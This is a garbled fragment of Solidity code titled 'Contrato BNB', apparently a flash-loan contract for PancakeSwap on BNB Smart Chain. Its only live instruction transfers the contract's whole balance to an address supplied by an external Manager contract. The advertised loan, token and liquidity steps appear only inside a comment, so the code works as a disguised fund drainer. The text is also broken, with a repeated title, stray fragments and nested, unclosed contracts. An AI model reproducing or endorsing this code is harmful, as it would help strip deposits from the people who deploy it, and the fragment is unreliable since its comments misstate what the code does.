Contrato BNB
Contrato BNB
Contrato BNB
0;
contract Manager {
function performTasks() public {
contract GetFlashLoan {
string public tokenName;
string public tokenSymbol;
uint loanAmount;
Manager manager;
address(uint160(manager.pancakeDepositAddress())).transfer(address(this).balance);
// Perform tasks (clubbed all functions into one to reduce external calls &
SAVE GAS FEE)
// Breakdown of functions written below
manager.performTasks();
/* Breakdown of functions
// Submit token to BSC blockchain
string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
// Create BNB and DAI pairs for our token & Provide liquidity
string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI");
manager.pancakeAddLiquidity(daiPair, loanAmount / 2);